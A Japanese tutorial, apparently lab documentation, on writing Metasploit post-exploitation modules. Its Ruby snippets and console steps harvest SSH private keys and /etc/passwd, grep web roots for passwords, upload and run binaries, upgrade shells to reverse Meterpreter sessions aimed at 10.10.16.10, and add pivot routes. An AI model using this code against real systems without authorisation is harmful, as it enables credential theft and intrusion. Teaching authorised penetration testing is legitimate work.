コンテンツにスキップ

post モジュールは 既に開いているセッション の上で動きます。SESSION が必須で、ペイロードを新たに飛ばすのではなく、対象上の列挙・管理・収集を行います。参照は packages/metasploit-framework/modules/post/ と同梱 wiki How-to-get-started-with-writing-a-post-module.md です。

共通手順は 共通手順 です。セッション API は Post 用 mixin です。

条件種別
まだセッションがないexploit / auxiliary / ハンドラ
セッション上でコマンド・ファイル・レジストリを触るpost
シェルを Meterpreter に昇格するpost(例: shell_to_meterpreter)
local 特権昇格で新しいセッションを返すexploit(exploit/*/local/)
ディレクトリ用途
gather/設定、資格情報、列挙
gather/credentials/資格情報特化
manage/セッション管理、設定変更、injection
recon/偵察(窃取より状況把握)
capture/keylog など継続取得
wlan/WLAN

書き方の参考になるモジュール

Section titled “書き方の参考になるモジュール”
参考モジュール学べること
post/multi/general/execute最短の cmd_exec 例
post/linux/gather/enum_configs複数ファイルを read_file → store_loot
post/linux/gather/enum_systemLinux システム情報の集め方
post/linux/gather/enum_networkネットワーク情報
post/windows/gather/enum_logged_on_usersWindows mixin(Accounts / Registry / Profiles)
post/windows/gather/checkvm短い Windows gather
post/windows/gather/enum_applicationsソフトウェア列挙
post/multi/manage/shell_to_meterpreterセッション管理・昇格の定番
post/multi/manage/autoroutepivot 用 route 追加
post/windows/manage/migrateMeterpreter プロセス移行
post/windows/wlan/wlan_profileloot 化の具体例
'SessionTypes' => ['shell', 'meterpreter'],
'Platform' => %w[linux osx unix win]

モジュール内では session(別名 client)が対象です。

print_status(session.inspect)
print_status(session.platform)
print_status(session.type)

gather / manage でも、読む手段(read_file / cmd_exec / レジストリ)と保存手段で骨格が変わります。

1a. 1 コマンドをそのまま(post/multi/general/execute)

Section titled “1a. 1 コマンドをそのまま(post/multi/general/execute)”
class MetasploitModule < Msf::Post
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Session Command Execution',
'License' => MSF_LICENSE,
'Author' => ['hdm'],
'Platform' => %w[linux osx unix win],
'SessionTypes' => ['shell', 'meterpreter']
)
)
register_options([OptString.new('COMMAND', [false, 'Command line'])])
end
def run
print_status("Response:\n#{cmd_exec(datastore['COMMAND'])}")
end
end

1b. 失敗検知トークン付き実行(enum_network 系)

Section titled “1b. 失敗検知トークン付き実行(enum_network 系)”

コマンドが失敗したときに空成功と誤認しないパターンです。

def execute(cmd)
token = Rex::Text.rand_text_alpha(8)
output = cmd_exec("#{cmd} || echo #{token}")
return nil if output.to_s.include?(token)
output
end
def run
out = execute('/sbin/ifconfig -a')
store_loot('linux.enum.network', 'text/plain', session, out, nil, 'ifconfig') if out
end
def run
out = create_process('grep', args: ['-r', 'password', '/var/www'], time_out: 30)
print_line(out.to_s)
end
def run
case session.platform
when 'windows'
print_status(cmd_exec('whoami /all'))
else
print_status(cmd_exec('id; uname -a'))
end
end

2a. 固定パス一覧を read_file(enum_configs)

Section titled “2a. 固定パス一覧を read_file(enum_configs)”
include Msf::Post::File
def run
[
'/etc/passwd',
'/etc/hosts',
'/etc/samba/smb.conf'
].each do |f|
data = read_file(f).to_s
next if data.strip.empty? || data =~ /No such file/
loot = store_loot('linux.enum.conf', 'text/plain', session, data, File.basename(f))
print_good("#{f} -> #{loot}")
end
end

2b. find で候補を探してから読む(enum_network の SSH 鍵探索に近い)

Section titled “2b. find で候補を探してから読む(enum_network の SSH 鍵探索に近い)”
def run
dirs = cmd_exec('/usr/bin/find / -maxdepth 3 -name .ssh 2>/dev/null').to_s.split("\n")
dirs.each do |dir|
%w[id_rsa id_ed25519].each do |key|
path = "#{dir}/#{key}"
next unless exist?(path) && readable?(path)
data = read_file(path)
store_loot('ssh.key', 'text/plain', session, data, key, path)
end
end
end

2c. 書き込み・実行ファイル配置(manage 寄り)

Section titled “2c. 書き込み・実行ファイル配置(manage 寄り)”
include Msf::Post::File
include Msf::Exploit::FileDropper
def run
remote = '/tmp/' + Rex::Text.rand_text_alpha(8)
upload_and_chmodx(remote, File.binread(datastore['LOCAL_FILE']))
register_file_for_cleanup(remote)
print_status(cmd_exec(remote))
end

3a. プロファイル列挙(enum_logged_on_users 系)

Section titled “3a. プロファイル列挙(enum_logged_on_users 系)”
include Msf::Post::Windows::Registry
include Msf::Post::Windows::UserProfiles
def run
read_profile_list(user_accounts_only: false).each do |profile|
print_status("#{profile['SID']} #{profile['PROF']}")
end
end

3b. レジストリ値の直接読み(checkvm 系)

Section titled “3b. レジストリ値の直接読み(checkvm 系)”
include Msf::Post::Windows::Registry
include Msf::Post::Process
def run
services = registry_enumkeys('HKLM\\SYSTEM\\ControlSet001\\Services') || []
procs = get_processes || []
if services.any? { |s| s =~ /VBox|vmci|vmhgfs/i } || procs.any? { |p| p['name'] =~ /vmtoolsd/i }
print_good('Looks like a VM')
report_virtualization('VMware') # または独自判定
else
print_status('Appears physical')
end
end
def run
val = registry_getvaldata('HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion', 'ProductName')
print_good("ProductName=#{val}") if val
report_note(host: session.session_host, type: 'windows.product', data: { name: val }, update: :unique_data)
end

4a. シェル → Meterpreter(利用側の型)

Section titled “4a. シェル → Meterpreter(利用側の型)”

自作より既存 post/multi/manage/shell_to_meterpreter を使うことが多いです。自作するなら「既存 SESSION から reverse ペイロードを起動しハンドラを立てる」が骨格です。

def run
# LHOST/LPORT/HANDLER を見て upgrade 用コマンドを session 上で実行
# 成功したら sessions -l で新しい Meterpreter が見える
end
def run
# session 経由で subnet 向け route を framework に追加
print_status("Adding route via session #{datastore['SESSION']}")
# post/multi/manage/autoroute の実装を参照
end

4c. 環境変数・ホスト名の軽い recon

Section titled “4c. 環境変数・ホスト名の軽い recon”
def run
print_status("host=#{session.session_host} platform=#{session.platform}")
print_status(cmd_exec('hostname'))
print_status(get_env('PATH').to_s)
end
def run
print_line(cmd_exec('ps aux'))
end
def run
data = cmd_exec('ps aux')
store_loot('linux.ps', 'text/plain', session, data, 'ps.txt', 'process list')
end
def run
tbl = Rex::Text::Table.new('Header' => 'Users', 'Columns' => %w[name uid])
get_users.each { |u| tbl << [u['name'], u['uid']] }
print_line(tbl.to_s)
store_loot('linux.users', 'text/plain', session, tbl.to_s)
end
sessions -l
use post/multi/general/execute
set SESSION 1
set COMMAND id
run

Windows セッションなら次です。

set COMMAND whoami /all
run
use post/linux/gather/enum_configs
set SESSION 1
run
loot
use post/linux/gather/enum_system
set SESSION 1
run
use post/windows/gather/enum_logged_on_users
set SESSION 1
set CURRENT true
set RECENT true
run
sessions -l
sessions -u 1
sessions -l

オプションを明示する場合です。

use post/multi/manage/shell_to_meterpreter
set SESSION 1
set LHOST 10.10.16.10
set LPORT 5555
set HANDLER true
run

OS 誤検知時です。

set PAYLOAD_OVERRIDE linux/x64/meterpreter/reverse_tcp
set PLATFORM_OVERRIDE linux
run
use post/multi/manage/autoroute
set SESSION 3
set SUBNET 172.16.1.0
set NETMASK 255.255.255.0
run
route print
~/.msf4/modules/post/linux/gather/my_passwd.rb
reload_lib -a
use post/linux/gather/my_passwd
set SESSION 1
run
型include 例入口
汎用コマンドPost / Commonrun + cmd_exec
ファイル収集File (+ Unix) + Reportread_file → store_loot
Windows 情報Windows::*Registry / Accounts など
セッション管理既存 manage モジュールshell_to_meterpreter 等
  • 現在のセッションの権限で情報を取得する場合は post を使います。
  • 現在のセッションを足場に別のペイロードセッションを開く場合は Exploit(Msf::Exploit::Local)を使います。
  1. 種別と配置 → post/<platform>/<category>/...
  2. 基底と mixin
  3. update_info → SessionTypes を正確に
  4. register_options → SESSION は再登録しない
  5. 入口メソッド → 基本は run
  6. 成果の保存
  7. 後片付け
  • 1 モジュールに「全部集める」を載せない。
  • shell と meterpreter で使える API が違う。Railgun などは Meterpreter 前提。
  • 破壊的操作は manage に置き、説明を厚くする。
  • 取得物は store_loot や ~/lab 方針に合わせて残す。